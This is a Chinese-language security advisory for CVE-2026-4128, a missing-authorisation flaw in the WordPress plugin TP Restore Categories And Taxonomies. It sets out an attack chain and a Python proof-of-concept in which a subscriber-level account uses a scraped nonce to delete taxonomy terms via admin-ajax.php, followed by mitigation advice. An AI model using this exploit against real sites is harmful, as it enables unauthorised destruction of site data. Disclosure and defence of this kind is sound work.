IPBUF安全漏洞报告
English
CVE-2026-4128 CVSS 4.3 中危

CVE-2026-4128: WP插件权限缺失漏洞

披露日期: 2026-04-22

漏洞信息

漏洞编号
CVE-2026-4128
漏洞类型
权限缺失
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
TP Restore Categories And Taxonomies

相关标签

WordPress权限缺失CVE-2026-4128插件漏洞IDOR

漏洞概述

WordPress插件TP Restore Categories And Taxonomies在1.0.1及之前版本中存在权限缺失漏洞。该插件的delete_term()函数负责处理'tpmcattt_delete_term' AJAX操作,但未执行能力检查(如current_user_can())来验证用户权限。尽管插件验证了Nonce,但该Nonce对所有已认证用户(包括订阅者)在后台页面均可见。因此,低权限攻击者可利用有效Nonce构造请求,永久删除插件回收站或备份表中的分类法术语记录。

技术细节

该漏洞的根本原因在于对敏感AJAX操作缺乏严格的权限验证。受影响插件通过admin_enqueue_scripts钩子为所有已登录用户生成并暴露Nonce,而未区分用户角色。攻击者只需拥有订阅者权限,登录后访问profile.php等后台页面即可获取该Nonce。随后,攻击者向/wp-admin/admin-ajax.php发送POST请求,携带action='tpmcattt_delete_term'、任意term_id及获取到的Nonce。服务器端仅校验Nonce有效性,未校验用户是否有管理分类法的权限,导致任意已登录用户均可删除数据。

攻击链分析

STEP 1
1. 信息收集
攻击者注册或获取一个低权限(如订阅者Subscriber)的WordPress账户。
STEP 2
2. 获取Nonce
攻击者登录后台,访问任意后台页面(如profile.php),从页面源码中提取由admin_enqueue_scripts生成的有效Nonce。
STEP 3
3. 构造请求
攻击者构造一个POST请求发送至/wp-admin/admin-ajax.php,包含action='tpmcattt_delete_term'、目标term_id和获取到的Nonce。
STEP 4
4. 执行攻击
服务器接收请求,仅验证Nonce有效性而未检查用户权限,执行delete_term()函数删除指定的分类法术语。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://example.com/wp-admin/admin-ajax.php" # Attacker's session cookie (Subscriber level account) # Replace with valid cookies from a logged-in session cookies = { "wordpress_logged_in_xxx": "valid_cookie_value_here" } # Nonce extracted from the page source (profile.php) # This nonce is generated for all authenticated users valid_nonce = "extracted_nonce_value_from_page_source" # Payload to delete a specific taxonomy term payload = { "action": "tpmcattt_delete_term", "term_id": "123", # The ID of the term to delete "security": valid_nonce # The nonce parameter name may vary, often 'security' or '_wpnonce' } try: response = requests.post(target_url, data=payload, cookies=cookies) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response:", response.text) else: print("[-] Request failed with status code:", response.status_code) except Exception as e: print("[-] An error occurred:", e)

影响范围

TP Restore Categories And Taxonomies <= 1.0.1

防御指南

临时缓解措施
建议立即将插件升级至修复了该漏洞的最新版本。如果暂时无法升级,应禁用该插件或通过Web应用防火墙(WAF)拦截针对'tpmcattt_delete_term'动作的未授权请求。此外,管理员应审查并清理回收站中的数据,防止被恶意删除。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表